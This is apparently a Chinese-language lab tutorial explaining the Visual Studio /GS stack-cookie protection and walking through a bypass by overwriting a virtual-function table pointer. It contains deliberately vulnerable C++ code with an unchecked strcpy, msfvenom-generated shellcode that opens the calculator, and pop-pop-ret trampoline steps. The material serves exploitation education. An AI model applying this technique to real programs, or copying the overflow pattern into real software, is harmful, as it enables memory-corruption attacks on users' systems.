1 GS內存保護機制
1.1 GS工作原理
棧中的守護天使--GS,亦稱作Stack Canary / Cookie,從VS2003起開始啟用(也就說,GS機制是由編譯器決定的,跟操作系統無關)。
GS機制分三個步驟:計算隨機種子 --> canary寫入棧幀 --> GS校驗。
[1]程序啟動時,讀取.data的第一個DWORD作為基數,然后和各種元素(時間戳,進程ID,線程ID,計數器等等)進行XOR加密
[2]然后將加密后的種子再次寫入.data的第一個DWORD
[3]函數在執行前,把加密后的種子取出,與當前esp進行異或計算,結果存入EBP的前面
[4]函數主體正常執行。
[5]函數返回前(retn前一點),把cookie取出與esp異或計算后,調用security_check_cookie函數進行檢查,與.data節里的種子進行比較,如果校驗通過,則返回原函數繼續執行;如果校驗失敗,則程序終止。
圖解:
1.2 變量重排技術
如圖1.1所示,在緩沖區域cookie之間還有一些空隙,這是因為在舊版本(VS2005之前)的編譯器里,局部變量是隨機擺放的(指針,int,字符串位置隨機)
所以這里就還存在一絲安全隱患->_->那就是Buff可能在不壓過Cookie的情況下覆蓋一些局部變量,所以,后期的編譯器就推出了--變量重排技術。
如圖1-2所示
圖 1-2
程序在編譯時根據局部變量的類型對變量在棧中的位置進行調整,將字符串變量(圖中的Buff)移動到棧的高地址處,指針參數數(圖中i)復制到中地址,字符串參數(圖中arg副本)復制到地地址。
1.3 通過猜測cookies值繞過/GS保護機制
/GS保護機制采用了幾個較弱的熵源,攻擊者可以對其進行計算並使用計算結果來預測cookie值,但是這種犯法只適用於針對本地系統的攻擊(攻擊者擁有該機器的訪問權限)。
論文鏈接:http://uninformed.org/?v=7&a=2&t=pdf
1.4 通過覆蓋虛函數指針繞過/GS保護機制
⑴.原理分析:
經過GS編譯后的函數在棧中的分布情況如圖1-3 所示。
圖 1-3
圖 1-4
由圖1-3和2-4可知,函數中的buf變量發生溢出的時候有可能影響虛表指針,如果可以控制虛表指針,將其指向我們shellcode,就可以在程序調用時控制程序的流程。
⑵.環境准備:
實驗代碼:
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public:
void gsv(char *src)
{
char buf[200];
strcpy(buf, src);
vir();
}
virtual void vir()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"
"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"
"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"
"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"
"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"
"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"
"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"
"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"
"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"
"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"
"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"
"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"
"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"
"\x5f\x64\xc5\xfd\x03\x6b"
"\x81\x99\x82\x77" //跳板指針
"\x3c\xff\x12\x00" //跳板指針地址
);
return 0;
}
編譯選項設置:
啟用GS保護機制:
禁止:ASLR, DEP保護機制:
在 vs 2008中禁止safeSEH(更高版本可以直接在屬性頁面下改的):
在項目屬性頁面下—>連接器選項—>命令行里的附加選項里輸入/SAFESEH:NO就可以了。
⑶.調試分析:
i.(找到函數的入口點)在OD中打開:
這個入口地址明顯不是啊,,,,
那就用IDA看一下吧,
找到了函數的入口地址(004010B0)。
ii.分析函數運行流程:
在調用虛函數之前要先初始化類
在初始化類的過程中,虛函數表入棧。
參數入棧,調用類函數,返回地址(EIP入棧):
Ebp入棧,cookie入棧,分配緩沖區:
將參數拷貝到緩存區:
。。。。。。。。。。。。。。(這段代碼太長了就不貼了)
因為源代碼在類函數里調用了虛函數,所以在類函數中會有一個從虛函數表中尋找虛函數地址的過程,並且在退出前檢查cookie的值:
整個類函數的運行過程如下:
圖 1-5
⑷.攻擊過程:
i.確定shellcode大小:
從圖1-5分析可知,
shellcode的大小 = 虛函數表指針的地址-類函數緩沖區中參數的起始地址+4(虛函數指針占4個字節)。
所以需要確定的地址有:
- 虛函數指針的地址
- 類函數緩沖區中參數的起始地址
在類函數中的相關代碼如下:
得到shellcode的大小 = 224字節
ii.設計shellcode
觀察程序執行過程:
類中虛函數的尋址過程如下:
我們的目標是把虛表指針中的虛函數指針地址換成我們shellcode指針的地址,把虛函數指針換成惡意代碼的指針。
所以shellcode代碼結構如下:
Shellcode指針的地址 |
惡意代碼指針 |
惡意代碼 |
這里的惡意代碼可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b '\x00' -f c
生成長度為216字節的功能是打開計算器的惡意代碼。
因為參數內容在棧中的是從低地址向高地址增長的,所以,在上面生成的惡意代碼之后,應該加上惡意代碼指針的地址,和惡意代碼的指針(即首字母的地址)。
iv.確定惡意代碼指針的地址和惡意代碼的指針:
在類函數中,惡意代碼指針的地址就是參數指針的地址,可以很快 找到(0012ff3c)。
到我們執行代碼到執行虛函數之前,有兩個地方有惡意代碼:
- l 主程序在調用類函數輸入的惡意代碼(指針=00402100)
- l 類函數在棧緩沖區中拷貝的惡意代碼(指針=0012fe64)
但是直接將這兩個地址放在shellcode是不能成功的,為什么?
因為,strcpy函數的結束條件是最后一個字符是不是0,這兩個地址在內存中(小端序,0012fe64在內存中是64fe1200)都是以0結尾的,之后的惡意代碼的指針的地址就填充不進去了。
這可怎么辦?
這里要用到一個新的技巧——跳板:
惡意代碼的指針==0x0012fe64,在執行strcpy的時候,0x0012fe54中存放的值是0x0012fe64(i中的代碼執行截圖里可以看到)。
那么就需要跳板來實現了。
在執行(call 虛函數指針)指令之前,棧的地址是0x0012fe50。
Call指令會將下一條指令地址(0040108f)壓入棧中,作為返回地址,esp = esp-4 = 0x0012fe4c
但是,如果我們將這個地址彈出去,pop esi,返回地址放到esi中,但是,棧中的返回地址就變成了,esp = esp+4 = 0x0012fe50中的內容(因為棧頂放的是返回地址)。
那么,解決的方案是不是就很明顯了?
我們希望這個函數的返回地址0x0012fe64,彈出一次返回地址esp(棧頂地址增長4字節),再彈出去一次,不就是0x0012FE54,而0x0012fe54中存放的不正是0x0012fe64,此時返回,直接進入惡意代碼,我們就能成功實現繞過GS保護機制的緩存區溢出攻擊了。
III. 找跳板地址:
要找到一個pop xxx,pop xxx,retn指令的起始地址,且不能影響程序運行的地址來做惡意代碼的指針。
實際中可以用ollydbg的插件OllyFindAddr實現。
最終的shellcode結構如下:
跳板地址的地址 |
跳板的地址 |
惡意代碼 |
vi.攻擊結果:
成功。